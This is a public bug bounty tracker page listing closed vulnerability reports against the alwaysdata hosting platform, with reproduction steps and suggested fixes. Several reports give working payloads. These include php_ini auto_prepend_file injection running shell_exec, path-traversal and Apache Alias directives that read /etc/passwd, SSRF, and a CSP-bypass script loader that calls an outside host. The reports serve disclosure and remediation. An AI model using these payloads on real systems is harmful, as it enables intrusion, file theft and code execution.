Security vulnerabilities

This is the security vulnerability reporting site for alwaysdata. Please make sure you read our bug bounty program before registering and creating a new task to submit a vulnerability you've discovered.

Once processed, the reports are public. Any private information can be transmitted via a support ticket on our administration interface.

ID Summary Status Date closed
 414  Cross-Site Request Forgery (CSRF) Allows Displaying Ano ...Closed17.07.2026 Task Description

Description

A Cross-Site Request Forgery (CSRF) vulnerability exists in the Display Zone File functionality.

The application does not properly validate whether the Display Zone File request is initiated by the authenticated user. By creating a malicious CSRF proof-of-concept (PoC) and replacing the domain_id with the victim's domain ID, an attacker can force the victim's authenticated browser to execute the Display Zone File request without the victim's knowledge or interaction.

This allows unauthorized actions to be performed on behalf of authenticated users.

## CVSS v3.1

Base Score: 4.5 (MEDIUM)

Steps to Reproduce

Log in with an attacker account.
Navigate to the Domain section.
Ensure at least one domain is present.
Go to Domain Settings → DNS Records.
Open another browser/private window and log in as a victim.
Ensure at least one domain is present in the victim account.
Return to the attacker account.
Trigger the Display Zone File functionality.
Capture the Display Zone File request using Burp Suite.
Use Burp Suite Engagement Tools to generate a CSRF PoC.
Save the generated HTML file.
Replace the attacker's domain_id with the victim's domain_id.
Open the modified PoC in the victim's authenticated browser.
Click Submit.
Observe that the victim's Display Zone File is opened successfully without the victim intentionally initiating the action.

Expected Behavior

The application should validate that the Display Zone File request was intentionally initiated by the authenticated user and should reject cross-origin forged requests without proper CSRF validation.

Actual Behavior

The application accepts the forged CSRF request and executes the Display Zone File action using the victim's active session without requiring any additional verification.

Impact

An attacker can force authenticated users to execute the Display Zone File action without their knowledge.

This may allow unauthorized exposure of domain DNS zone information and sensitive configuration details through the victim's active session.

 413  Cross-Site Request Forgery (CSRF) Allows Logs Refresh o ...Closed17.07.2026 Task Description

Description

The application does not properly validate whether a Logs Refresh request is initiated by the authenticated user. By creating a malicious CSRF PoC and replacing the service_id with the victim's service ID, an attacker can force a victim's authenticated browser to execute the Logs Refresh action without the victim's knowledge or interaction.

This allows unauthorized actions to be performed on behalf of authenticated users.

Steps to Reproduce

Log in with an attacker account.
Navigate to the Services section.
Create a new service.
Open another browser/private window and log in as a victim.
Create a service in the victim account.
Return to the attacker account.
Trigger the Logs Refresh functionality.
Capture the Logs Refresh request using Burp Suite.
Use Burp Suite Engagement Tools to generate a CSRF PoC.
Save the generated HTML file.
Replace the attacker's service_id with the victim's service_id.
Open the modified PoC in the victim's authenticated browser.
Click Submit.
Observe that the victim's Logs Refresh action is executed successfully without the victim intentionally performing the action.

Expected Behavior

The application should validate that Logs Refresh requests are intentionally initiated by the authenticated user and should reject cross-origin requests without proper CSRF protection.

Actual Behavior

The application accepts the forged request and performs the Logs Refresh action using the victim's active session without requiring any additional validation.

Impact

An attacker can force authenticated users to execute Logs Refresh actions without their knowledge through a CSRF attack.
The attacker can repeatedly trigger Logs Refresh requests on behalf of the victim, potentially consuming the victim's available Logs Refresh quota/limit.
This may result in abuse of limited resources and prevent the victim from using the Logs Refresh functionality when needed.

 412  Direct Organization Access Granted, Leading to Organiza ...Closed16.07.2026 Task Description

Description

During testing, I discovered that when an owner creates a new user and assigns permissions, the user is immediately added to the organization without any invitation acceptance or verification step.

As a result, if an owner accidentally enters an attacker's email address and assigns a privileged role, the attacker gains direct access to the organization and its resources immediately after logging in.

This allows the newly created user to perform all actions associated with the assigned role without requiring approval or invitation acceptance.

Steps to Reproduce

Log in to the Owner account.
Navigate to Permissions.
Click Add User.
Enter a user's email address.
Assign all available permissions.
Click Create User.
Log in to the newly created user account.
Observe that the user is automatically added to the owner's organization with all assigned permissions.

Impact

If an owner mistakenly enters an attacker's email address while creating a user, the attacker immediately gains access to the organization with the assigned permissions.

When high-privilege permissions are assigned, the attacker may be able to access sensitive data, manage users, modify organization settings, and potentially delete or take full control of the organization.

Expected Behavior

Newly created users should be required to verify ownership of the invited email address and explicitly accept the invitation before gaining access to the organization.

Actual Behavior

The user is automatically added to the organization with the assigned permissions immediately after account creation, without any invitation acceptance step.

 411  Expired Two-Factor Authentication (2FA) Code Accepted,  ...Closed15.07.2026 Task Description

Description

During testing, I discovered that the application accepts an expired 2FA verification code.

After capturing the 2FA verification request, I waited until the code expired (after three code rotations). Even after expiration, replaying the same request was accepted by the server and resulted in successful authentication.

This indicates that the application does not properly validate the expiration time of 2FA verification codes.

Steps to Reproduce
Log in using a valid email address and password.
Enter the 2FA verification code.
Capture the 2FA verification request using Burp Suite.
Send the captured request to Burp Repeater.
Wait until the 2FA code has completed three rotations and is expired.
Send the request from Burp Repeater and observe a 302 Found response.
Forward the original intercepted request containing the same expired 2FA code.
Observe that the server again returns 302 Found and successfully authenticates the account.

Impact

An expired 2FA code can still be used to complete authentication, allowing an attacker who obtains an old 2FA code to bypass the intended expiration protection and gain unauthorized access to the account.

Expected Behavior

The server should reject any 2FA verification attempt using an expired code and require the user to enter a new valid code.

Actual Behavior

The server accepts a 2FA code even after it has expired and successfully authenticates the user.

 410  Unrestricted PHP ini Directive Injection via php_ini fi ...Closed15.07.2026 Task Description

TITLE: Unrestricted PHP ini Directive Injection via `php_ini` field leads to

     Remote Code Execution (RCE)

MODULE: Site Management (API)

SEVERITY: CRITICAL (CVSS 3.1: 9.8)

SUMMARY

The `php_ini` field in the Site Management API (PATCH /v1/site/{id}/) accepts
arbitrary PHP ini directives with NO validation or sanitization. An attacker
with API access can inject directives such as `auto_prepend_file` to execute
arbitrary PHP code on every PHP page request.

Additionally:
- `open_basedir` is NOT set (no filesystem restriction)
- `shell_exec()`, `exec()`, `system()`, `passthru()` are NOT disabled
- The PHP configuration applies immediately without a restart
- PHP-FPM runs as the authenticated user (uid=534062, saini)

This allows an authenticated attacker to achieve FULL remote code execution
on the server, running system commands as the account user, reading/writing
any file the user has access to, and installing persistent backdoors.

STEPS TO REPRODUCE

Prerequisites:
- A valid alwaysdata API token with account access
- An existing PHP site (site_id known)
- SSH/FTP access to write a PHP file (or existing PHP file in DocumentRoot)

Step 1: Verify the site accepts PHP execution

Access any PHP file in the DocumentRoot:

GET /info.php HTTP/1.1
Host: victim.alwaysdata.net
Response: 200 OK
MAIN_SCRIPT_EXECUTED

PHP execution is confirmed.

Step 2: Create a PHP prepend file that executes a system command

Write a file (e.g., via SSH or FTP) to the account's home directory:

File: /home/{account}/www/cmd_prepend.php
Content:
  <?php echo "CMD:" . shell_exec("id 2>&1") . "|";

Step 3: Inject auto_prepend_file via the php_ini field

Request:

PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"php_ini":"auto_prepend_file = /home/saini/www/cmd_prepend.php"}

Response: 204 No Content

The directive is accepted verbatim with NO validation.

Step 4: Access any PHP page to trigger code execution

Request:

GET /info.php HTTP/1.1
Host: victim.alwaysdata.net
Accept: text/html

Response: 200 OK

CMD:uid=534062(saini) gid=489542(saini) groups=489542(saini)|MAIN_SCRIPT_EXECUTED

The PHP ini directive was applied and the system command `id` executed
successfully, returning the user and group IDs. This confirms arbitrary
code execution on the server.

Step 5: Restore original configuration

Request:

PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"php_ini":""}

Response: 204 No Content

ADDITIONAL TESTS AND FINDINGS

Test A: Verify no open_basedir restriction

A PHP script was executed to check security restrictions:

Output:
  /tmp: WRITABLE | READABLE
  /: NOT_WRITABLE | READABLE
  CWD: /home/saini/www
  USER: saini
  TMP: /home/saini/admin/tmp
  OPEN_BASEDIR:                    ↠EMPTY - NO RESTRICTION
  DOCROOT: /home/saini/www/

No open_basedir is configured, allowing PHP to access any path the user
has filesystem permissions for.

Test B: Verify dangerous functions are not disabled

All of the following functions were confirmed working:

  1. shell_exec() → executes system commands
  2. exec() → executes system commands
  3. system() → executes system commands
  4. passthru() → executes system commands
  5. file_get_contents() → reads any file
  6. file_put_contents() → writes to any writable path
  7. popen() → executes system commands
  8. proc_open() → executes system commands

Test C: The php_ini directive takes effect immediately

No server restart or PHP-FPM reload was required. The directive was applied
and reflected in the very next HTTP request.

Test D: auto_prepend works from any path accessible to PHP


The auto_prepend_file directive was tested with files in multiple locations:

  1. /home/{account}/www/prepend.php → WORKS
  2. Absolute paths are resolved correctly

IMPACT

An attacker with API access can achieve FULL REMOTE CODE EXECUTION on the
alwaysdata shared hosting server, with the following capabilities:

1. EXECUTE ARBITRARY SYSTEM COMMANDS

  1. Run any shell command as the account user
  2. Install backdoors, malware, cryptominers
  3. Launch attacks against internal network services

2. READ/WRITE ANY FILE

  1. Read database configuration files, credentials
  2. Modify existing PHP files to include persistent backdoors
  3. Access other users' files if permissions allow
  4. Read application source code and secrets

3. PERSISTENT ACCESS

  1. Create new PHP files in the web directory
  2. Modify .htaccess or Apache configuration
  3. Set up cron jobs or other persistence mechanisms
  4. Exfiltrate data to external servers

4. PIVOT TO INTERNAL SERVICES

  1. Access MySQL/MariaDB, PostgreSQL, Redis, or other local services
  2. Read local network configuration
  3. Potentially access cloud metadata endpoints (169.254.169.254)

5. COMBINATION WITH PATH TRAVERSAL

  1. When combined with the path traversal vulnerability (ALW-SITE-002),

the attacker can set DocumentRoot to / and execute PHP code at the

   same time, amplifying the attack surface significantly.

CVSS 3.1 SCORE

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base Score: 9.8 (CRITICAL)

Attack Vector: Network (AV:N) - Exploitable remotely via API Attack Complexity: Low (AC:L) - Simple PATCH request
Privileges: Low (PR:L) - Requires valid API token
User Interaction: None (UI:N) - No victim action needed
Scope: Unchanged (S:U) - Within account boundaries
Confidentiality: High (C:H) - Read any file, execute commands
Integrity: High (I:H) - Write/modify any file
Availability: High (A:H) - Can delete files, disrupt service

Note: Scope is "Unchanged" because the execution runs as the authenticated
user. If the attacker can read other users' data (cross-tenant), Scope
would be "Changed" and score would increase to 10.0 (CRITICAL).

REMEDIATION RECOMMENDATION

1. IMPLEMENT DIRECTIVE ALLOWLIST

  1. Only allow safe PHP ini directives such as:
    1. memory_limit, upload_max_filesize, post_max_size
    2. max_execution_time, max_input_time
    3. date.timezone, error_reporting
  2. Block dangerous directives:
    1. auto_prepend_file, auto_append_file
    2. disable_functions, disable_classes
    3. open_basedir, allow_url_include
    4. extension_dir, extension
    5. error_log (to prevent log injection)

2. ENFORCE OPEN_BASEDIR

  1. Always set open_basedir to restrict PHP to the account's home

directory, preventing access to system files and other users' data.

3. DISABLE DANGEROUS FUNCTIONS AT THE PHP-FPM POOL LEVEL

  1. Add disable_functions = shell_exec, exec, system, passthru, popen,

proc_open, pcntl_exec to the account's PHP-FPM pool configuration.

  1. This should NOT be overridable through the php_ini field.

4. INPUT VALIDATION

  1. Validate that the php_ini field only contains approved directives.
  2. Reject any input containing "=" assignments for unapproved directives.
  3. Parse the input server-side and apply only allowed values.

5. SERVER-LEVEL FIX (DEFENSE IN DEPTH)

  1. In the PHP-FPM pool configuration, set:

php_admin_value[auto_prepend_file] = none

   php_admin_value[open_basedir] = /home/{account}/
 - php_admin_value directives CANNOT be overridden by user-level ini
   directives, providing a secure baseline.
 409  Path Traversal in site path field leads to arbitrary fi ...Closed15.07.2026 Task Description

TITLE: Path Traversal in Site Management `path` field allows reading arbitrary

     system files via DocumentRoot manipulation

SEVERITY: HIGH (CVSS 3.1: 7.7)

SUMMARY

The `path` field in the Site Management API (PATCH /v1/site/{id}/) accepts
arbitrary directory traversal sequences (e.g., `../../../../`) with NO
canonicalization or validation. This allows an authenticated attacker to set the
Apache DocumentRoot to any directory on the filesystem, enabling read access to
ANY world-readable file on the server via HTTP GET requests.

Since the `path` change takes effect WITHOUT a server restart, the attacker can
immediately read files by accessing the site's URL after updating the path.

This also enables cross-tenant data access — any file on the server that is
world-readable (including files in shared /tmp, system configuration files, and
potentially other users' data with loose permissions) can be retrieved.

STEPS TO REPRODUCE

Prerequisites:
- A valid alwaysdata API token with account access
- An existing site (site_id known)

Step 1: Get the current site configuration to confirm baseline

Request:

GET /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Accept: application/json

Response: 200 OK

{
  "id": 1060051,
  "path": "www/",
  "addresses": ["victim.alwaysdata.net/"],
  ...
}

Step 2: PATCH the site with a path traversal payload

Request:

PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"path":"../../../../"}

Response: 204 No Content

The `path` "../../../../" resolves from /home/{account}/www/ to the
filesystem root (/), setting DocumentRoot to /.

Step 3: Access a system file via the site URL

Request:

GET /etc/passwd HTTP/1.1
Host: victim.alwaysdata.net
Accept: */*

Response: 200 OK

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
... (full /etc/passwd contents returned)

The file /etc/passwd was served as a static file through Apache with no
authentication or access control applied.

Step 4: Confirm the change is immediate (no restart required)

No server restart or reload was required. The path change is reflected in the
next HTTP request, confirming that the DocumentRoot is dynamically regenerated.

Step 5: Restore original path


Request:

PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"path":"www/"}

Response: 204 No Content

EVIDENCE

Evidence 1: API acceptance of path traversal payload

PATCH request with path "../../../../" returned 204 No Content, confirming
the value was accepted without any canonicalization or rejection.

Evidence 2: Successful read of /etc/passwd via web

HTTP GET /etc/passwd returned 200 OK with the full contents of the system
password file (1764 bytes), including all 35 system users:
- root, daemon, bin, sys, sync, games, man, mail, news, uucp
- proxy, www-data, backup, list, irc, _apt, nobody
- systemd-network, messagebus, sshd, munin, and more

Evidence 3: No restart required

The path change was reflected immediately in the very next HTTP request,
with no restart or reload needed.

IMPACT

An attacker with API access (valid account credentials) can:

1. Read ANY world-readable file on the server, including:

  1. System configuration files (/etc/passwd, /etc/shadow if readable)
  2. Application configuration files
  3. Database credentials in config files
  4. Other users' files with loose permissions
  5. SSL/TLS certificates and private keys
  6. Source code deployed on the server

2. Access files in /tmp/ that belong to other users on the same server

 (cross-tenant data leakage).

3. Map the internal server structure, enumerate users, and find sensitive

 information for further attacks.

4. The attack requires no user interaction and no unusual preconditions

 beyond valid API credentials.

This vulnerability can be combined with other site management weaknesses
(such as unrestricted php_ini directive injection) for code execution,
amplifying the impact to full server compromise

CVSS 3.1 SCORE

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Base Score: 7.7 (HIGH)

Attack Vector: Network (AV:N) - Exploitable remotely
Attack Complexity: Low (AC:L) - Simple PATCH request
Privileges: Low (PR:L) - Requires valid API token
User Interaction: None (UI:N) - No victim action needed
Scope: Changed (S:C) - Reads files outside account boundary
Confidentiality: High (C:H) - System files accessible
Integrity: None (I:N) - Read-only
Availability: None (A:N) - No DoS impact

REMEDIATION RECOMMENDATION

1. Canonicalize the `path` input and verify it resolves to a path WITHIN the

 account's allowed directory (e.g., /home/{account}/).

2. Reject any path that contains directory traversal sequences (../ or ..\)

 or resolves outside the allowed base directory.

3. Apply allowlist validation: only allow known-safe subdirectory names

 (e.g., "www/", "public/", "htdocs/") rather than accepting arbitrary paths.

4. Implement server-side path normalization using realpath() or equivalent

 to resolve symlinks and traversal sequences before accepting the path.
 408  API bypasses Databases feature entitlement (create plan ...Closed14.07.2026 Task Description

Severity

Medium — CVSS 3.1 5.4 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N) — broken authorization / plan-restriction bypass.

Summary

On an account where the Databases feature is not enabled, the administration interface correctly blocks database creation with "Feature unavailable — This feature is currently not available for this account." However, the REST API (POST /v1/database/) does not perform the same entitlement check and returns 201 Created. The resulting MySQL/MariaDB (and PostgreSQL) database is fully functional and reachable on mysql-<account>.alwaysdata.net. The plan restriction is enforced only in the UI, not server-side in the API.

Steps to reproduce

Step 1 — The UI enforces the entitlement (feature is genuinely gated). Request:

GET /database/add/ HTTP/2
Host: admin.alwaysdata.com
Cookie: sessionid=<your admin session>

Response:

HTTP/2 200 OK
Content-Type: text/html

<h1>Feature unavailable</h1>
<p>This feature is currently not available for this account.
   Please contact us if you want to activate it.</p>

Step 2 — The API bypasses the entitlement. Request:

POST /v1/database/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <API-TOKEN account=YOUR-ACCOUNT>
Content-Type: application/json

{"name":"YOUR-ACCOUNT_qz","type":"MYSQL"}

Response:

HTTP/2 201 Created
Location: /v1/database/<id>/
Content-Length: 0

Step 3 — The database exists and is fully functional. Request:

GET /v1/database/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <API-TOKEN account=YOUR-ACCOUNT>

Response:

HTTP/2 200 OK
Content-Type: application/json

[{"id":<id>,"name":"YOUR-ACCOUNT_qz","type":"MYSQL","href":"/v1/database/<id>/","permissions":{"YOUR-ACCOUNT":"FULL"}}]

The database accepts real connections (a default DB user exists; its password is set via PATCH /v1/database/user/<id>/):

$ mysql -h mysql-<account>.alwaysdata.net -u <account> -p***** -e "SELECT CURRENT_USER(), VERSION(); SHOW DATABASES;"
<account>@%    11.4.12-MariaDB
information_schema
<account>_qz

Step 4 (optional) — Confirms the gate is real, not a transient UI state. DELETE /v1/database/<id>/ returns 204. Reloading GET /database/add/ again returns the "Feature unavailable" page, so the account genuinely lacks the entitlement; only the API fails to enforce it.

Reproduced multiple times. The same bypass also works for "type":"POSTGRESQL" (also plan-gated), so it is not engine-specific. My API token is omitted from this public report and can be provided privately if needed.

Impact

A customer whose plan does not include the Databases feature can create and use functional MySQL/MariaDB and PostgreSQL databases through the API, obtaining a resource their plan does not permit. The entitlement check is missing on the server side (API) and enforced only in the UI, allowing the restriction to be bypassed programmatically.

Remediation

Enforce the account's feature entitlements server-side on the API resource-create endpoints (POST /v1/database/ and any other plan-gated resource), returning the same "feature not available for this account" rejection that the UI applies.

 407  A Content Security Policy (CSP) bypass  Closed15.07.2026 Task Description

Summary A Content Security Policy (CSP) bypass vulnerability exists on the website https://www.alwaysdata.com/en/, facilitated through the utilization of Google Script resources. This vulnerability could lead to security risks such as cross-site scripting (XSS) attacks or data exfiltration.

Description: Upon thorough analysis of the website's security posture, it has been identified that the implemented CSP fails to adequately restrict the loading of external scripts, particularly those from Google Script resources. The CSP should enforce a policy only to allow trusted sources for script execution, thereby mitigating the risk of malicious script injections or unauthorized data access. I found a way to load arbitrary scripts (escaping the restrictions of Angular) if the page uses nonce-based CSP.

Details
Query for Nonce Attribute: The snippet starts by using document.querySelector('[nonce]') to search for an element in the document with a nonce attribute. The nonce attribute is commonly used with CSP to specify a cryptographic nonce (number used once) that helps to authorize inline scripts or script sources.
Create Evil Script Element: Once the nonce attribute is found (or not), the snippet creates a new <script> element called evil.
Set Source for Evil Script: The src attribute of the evil script element is set to 'https://www.evil.com/js/evil.js'. This URL points to a script hosted on a malicious domain (www.evil.com), indicating that this script is potentially harmful.
Assign Nonce Value: Here comes the tricky part. The snippet attempts to assign a nonce value to the evil script element. It checks if a nonce attribute was found in step 1 (a ? a.nonce : ''). If a nonce attribute was found, it assigns its value to the nonce property of the evil script element. If not, it assigns an empty string.
Append Evil Script to Document Head: Finally, the evil script element is appended to the <head> of the document using document.head.appendChild(evil), effectively injecting the malicious script into the webpage. So, what’s the catch here? By attempting to assign a legitimate nonce value to the evil script element, the snippet tries to bypass CSP's security restrictions. If the webpage has a CSP policy that allows scripts with the provided nonce, the malicious script might execute despite CSP's protection. This highlights the importance of properly configuring CSP policies, generating nonces securely, and maintaining a robust defense against XSS attacks, where attackers inject malicious scripts into web pages to compromise user data or hijack sessions.

POC
1. Go to https://www.alwaysdata.com/en/ 2. Open dev tools and paste and execute this (replace joaxcar.com/hack.js if you want)
3. document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope>
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector(&quot;[nonce]&quot;);b=w.createElement(&quot;script&quot;);b.src=&quot;
joaxcar.com/hack.js&quot;;b.nonce=a.nonce;w.body.appendChild(b)'>
</div>
">`
4. See the popup, look at network tools and see that the script is loaded from

Impact:
This CSP bypass exposes the website and its users to potential security threats, including but not limited to XSS attacks, data theft, and unauthorized access to sensitive information. Attackers could exploit this vulnerability to execute arbitrary code within the context of the website, leading to compromised user accounts, defacement, or distribution of malicious content.

Payload
document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope>
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector(&quot;[nonce]&quot;);b=w.createElement(&quot;script&quot;);b.src=&quot;//joaxcar.com/hack.js&quot;;b.nonce=a.nonce;w.body.appendChild(b)'>
</div>
">`

 403  LFI via Apache Alias Directive Injection in `vhost_addi ...Closed13.07.2026 Task Description

## Summary

The `vhost_additional_directives` field on the site configuration accepts arbitrary Apache directives without validation. By injecting an `Alias` directive, I mapped a URL path to any filesystem location and read server files including `/etc/passwd`, `/etc/hostname` (`http21`), `/etc/resolv.conf` (internal DNS: `paris1.alwaysdata.com`, `2a00:b6e0:1:14:1::1`), and `/etc/fstab` (network-mounted `/home` on XFS).

Relationship to  FS#347 :  FS#347  reported "Unrestricted Apache Directive Injection Leading to RCE" and was closed. This report demonstrates that the `Alias` directive LFI vector specifically remains exploitable. The original report focused on RCE via PHP bypass — this report demonstrates the separate LFI primitive with concrete evidence of sensitive file reads that expose core platform infrastructure.

## Severity

High (CVSS 8.6 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

## Environment

Detail Value
——–——-
Account subhash (ID 486630)
Site subhash.alwaysdata.net (ID 1058919)
Server http21 (Debian 12, shared hosting)

## Steps to Reproduce

### Step 1 — Inject Alias directive via site configuration

Navigate to `https://admin.alwaysdata.com/site/1058919/` and add the following to the "Additional Apache directives" field:

```apache
Alias /read-etc /etc
<Directory /etc>

  Require all granted
  Options +Indexes

</Directory>
```

Save the form. Alternatively via API:

```http
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic [token]
Content-Type: application/json

{

"vhost_additional_directives": "Alias /read-etc /etc\n<Directory /etc>\n    Require all granted\n    Options +Indexes\n</Directory>"

}
```

Response: `204 No Content` — accepted without validation.

### Step 2 — Read /etc/passwd (system users)

After Apache reload (~10 seconds):

```http
GET /read-etc/passwd HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
HTTP/1.1 200 OK
Server: Apache
Via: 1.1 alproxy

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
_dnsdist:x:106:113::/nonexistent:/usr/sbin/nologin
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
munin:x:111:117:munin application user,,,:/var/lib/munin:/usr/sbin/nologin
[…34 system accounts total]
```

### Step 3 — Read /etc/resolv.conf (internal DNS infrastructure)

```http
GET /read-etc/resolv.conf HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
search paris1.alwaysdata.com alwaysdata.com alwaysdata.net
options timeout:2
options attempts:1
nameserver ::1
nameserver 2a00:b6e0:1:14:1::1
nameserver 8.8.4.4
```

Impact: Exposes internal domain `paris1.alwaysdata.com`, internal DNS IPv6 address `2a00:b6e0:1:14:1::1`, and dnsdist failover architecture.

### Step 4 — Read /etc/fstab (storage architecture)

```http
GET /read-etc/fstab HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
LABEL=root / ext4 noatime,errors=remount-ro 0 0
LABEL=usr /usr ext4 noatime,nodev 0 0
LABEL=var /var ext4 noatime,nodev,nosuid 0 0
LABEL=data /home xfs noatime,nodev,nosuid,inode64,grpquota,_netdev,x-systemd.device-timeout=infinity 0 0
proc /proc proc hidepid=2,gid=4 0 0
```

Impact: Reveals `/home` is network-attached storage (XFS with `_netdev`), partition hardening (`nosuid`, `nodev`), and process hiding (`hidepid=2`).

### Step 5 — Directory listing of /etc/ (with Options +Indexes)

```http
GET /read-etc/ HTTP/1.1
Host: subhash.alwaysdata.net
```

The `Options +Indexes` directive in the injected config enables Apache directory listing, showing the full `/etc/` directory contents.

### Step 6 — Cleanup

The `vhost_additional_directives` field was immediately cleared after testing.

## Difference from  FS#347 

Aspect  FS#347  (original report) This report
——–————————–————-
Focus RCE via PHP bypass LFI via Alias — file reads
Status Closed Alias LFI still works
Evidence Directive injection concept Concrete reads: passwd, resolv.conf, fstab, hostname
Impact demonstrated Theoretical RCE Actual infrastructure data exfiltrated

If  FS#347  was closed because the RCE chain was blocked, the LFI primitive through `Alias` remains a separate, exploitable vulnerability that reads files outside the tenant boundary.

## Root Cause

The `vhost_additional_directives` field is written directly into the Apache vhost configuration without parsing or restricting the directives used. `Alias` maps any URL path to any filesystem path, and `<Directory>` with `Require all granted` opens access.

## Impact

Any authenticated user can read files accessible to `www-data` across the entire server. Demonstrated reads:

File Data Exposed
——————-
`/etc/passwd` 34 system service accounts
`/etc/hostname` Internal hostname `http21`
`/etc/resolv.conf` Internal DNS: `paris1.alwaysdata.com`, `2a00:b6e0:1:14:1::1`
`/etc/fstab` NAS `/home`, partition layout, `hidepid=2`
`/etc/os-release` Debian GNU/Linux 12 (bookworm)
`/etc/mysql/my.cnf` MariaDB socket path, config structure
`/etc/crontab` System cron schedule

## Suggested Fix

1. Allowlist safe directives: Only permit directives like `RewriteRule`, `ErrorDocument`, `Header`, `ExpiresActive`. Block `Alias`, `ProxyPass`, `Directory`, `Include`, `SetHandler`, `Action`, and other directives that access the filesystem or network.
2. Sandbox directive scope: Enforce that all directives operate within `/home/{account}/` only.

 401  Critical SSRF via Application Script Source URI — Cross ...Closed13.07.2026 Task Description

Critical SSRF via Application Script Source URI — Cross-Tenant Data Leak
Severity: Critical
Target: admin.alwaysdata.com
Auth: Free-tier account (no special permissions)

Summary
The "Installation script source URI" field accepts internal URLs like `<REDACTED>`. The server fetches the URL from its own backend and stores the full response in the script field, readable by the attacker. No IP/port validation exists. This leaks other customers' data, internal server names, and full stack traces.

Steps to Reproduce
1. Log in to `https://admin.alwaysdata.com` (free account works)
2. Go to Web → Sites → Applications → Application scripts → Add 3. Fill required fields with any values. For Installation script enter:

#!/bin/bash
site:

type: custom

echo installed

4. Set Installation script source URI to: `<REDACTED>`
5. Click Submit

6. Click the refresh/update icon next to the script (or visit `/site/application/script/<ID>/update_script/`)
7. Open the script edit page — the Installation script textarea now contains <REDACTED>.

Impact
- Cross-tenant data leak — read other customers' account names, domains, and operations
- Internal infrastructure mapping — server hostnames, paths, stack traces exposed
- Firewall bypass — requests come from the server itself, reaching localhost-only services
- No rate limit — can probe unlimited internal ports/services
- 147 MB exfiltrated in a single request with no size restriction

Thank You

 397  Unvalidated Apache Directives in Site API — LFI, SSRF,  ...Closed13.07.2026 Task Description

## Summary

While testing the alwaysdata hosting platform, I found that the REST API does not sanitize or restrict the `vhost_additional_directives` field when updating a site configuration. This field is intended for custom Apache vhost snippets, but it accepts dangerous directives like `Alias`, `ProxyPass`, `Options +Includes`, and `Options +ExecCGI` without any filtering. By abusing this, I was able to:

1. Read arbitrary files from the server (`/etc/passwd`, `/etc/hostname`) through an Apache `Alias` directive — classic Local File Inclusion.
2. Reach internal services via `ProxyPass`, including grabbing the SSH banner from `127.0.0.1:22` — full Server-Side Request Forgery.
3. List and read the shared `/tmp` directory, which exposes files belonging to other tenants on the same server — cross-tenant information disclosure.

All three issues stem from the same root cause: the API blindly passes user-supplied Apache directives into the generated vhost config without validation.

## Environment

- Account name: subhash (account ID 486630)
- Site: subhash.alwaysdata.net (site ID 1058919, type: PHP, httpd: Apache)
- Server hostname: http21 (shared hosting, Debian 12)
- API authentication: Bearer token via Basic auth (token ID as username, empty password)

## Bug 1 — Local File Inclusion via Apache Alias Directive

### What I did

After creating a free hosting account and generating an API token, I noticed the site object returned by `GET /v1/site/1058919/` has a field called `vhost_additional_directives`. The API documentation does not mention any restrictions on what directives you can put in there, so I tried an `Alias` pointing to `/etc/passwd`:

```
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic REDACTED
Content-Type: application/json

{

"vhost_additional_directives": "Alias /readfile /etc/passwd\n<Directory /etc>\nRequire all granted\n</Directory>"
}
```

The API returned `204 No Content` — accepted, no questions asked.

After waiting a few seconds for the config to reload, I hit the alias path:

```
GET /readfile HTTP/1.1
Host: subhash.alwaysdata.net
```

Response (200 OK):

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
